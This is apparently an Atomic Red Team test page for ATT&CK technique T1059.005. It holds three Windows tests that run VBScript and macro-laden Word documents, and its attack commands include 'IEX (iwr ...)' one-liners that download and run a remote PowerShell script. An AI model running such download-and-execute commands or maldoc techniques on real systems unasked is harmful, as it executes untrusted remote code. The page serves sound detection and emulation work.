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T1059.005.md

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T1059.005 - Visual Basic

Description from ATT&CK

Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)

Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript/JScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)

Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads.

Atomic Tests


Atomic Test #1 - Visual Basic script execution to gather local computer information

Visual Basic execution test, execute vbscript via PowerShell.

When successful, system information will be written to $env:TEMP\T1059.005.out.txt.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
vbscript Path to sample script String PathToAtomicsFolder\T1059.005\src\sys_info.vbs

Attack Commands: Run with powershell!

cscript #{vbscript} > $env:TEMP\T1059.005.out.txt

Cleanup Commands:

Remove-Item $env:TEMP\sys_info.vbs -ErrorAction Ignore
Remove-Item $env:TEMP\T1059.005.out.txt -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Sample script must exist on disk at specified location (#{vbscript})
Check Prereq Commands:
if (Test-Path #{vbscript}) {exit 0} else {exit 1}
Get Prereq Commands:
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.005/src/sys_info.vbs" -OutFile "$env:TEMP\sys_info.vbs"
New-Item -ItemType Directory (Split-Path #{vbscript}) -Force | Out-Null
Copy-Item $env:TEMP\sys_info.vbs #{vbscript} -Force


Atomic Test #2 - Encoded VBS code execution

This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution a message box will pop up displaying "ART T1059.005"

A note regarding this module, due to the way that this module utilizes "ScriptControl" a 64bit version of Microsoft Office is required. You can validate this by opening WinWord -> File -> Account -> About Word

Supported Platforms: Windows

Attack Commands: Run with powershell!

IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-MalDoc.ps1")
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059.005-macrocode.txt" -officeProduct "Word" -sub "Exec"

Cleanup Commands:

Get-WmiObject win32_process | Where-Object {$_.CommandLine -like "*mshta*"}  | % { "$(Stop-Process $_.ProcessID)" } | Out-Null

Dependencies: Run with powershell!

Description: The 64-bit version of Microsoft Office must be installed
Check Prereq Commands:
try {
  $wdApp = New-Object -COMObject "Word.Application"
  $path = $wdApp.Path
  Stop-Process -Name "winword"
  if ($path.contains("(x86)")) { exit 1 } else { exit 0 }
} catch { exit 1 }
Get Prereq Commands:
Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement"


Atomic Test #3 - Extract Memory via VBA

This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
ms_product Maldoc application Word String Word

Attack Commands: Run with powershell!

IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-MalDoc.ps1") 
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059_005-macrocode.txt" -officeProduct "Word" -sub "Extract"

Cleanup Commands:

Remove-Item "$env:TEMP\atomic_t1059_005_test_output.bin" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Microsoft #{ms_product} must be installed
Check Prereq Commands:
try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
Get Prereq Commands:
Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"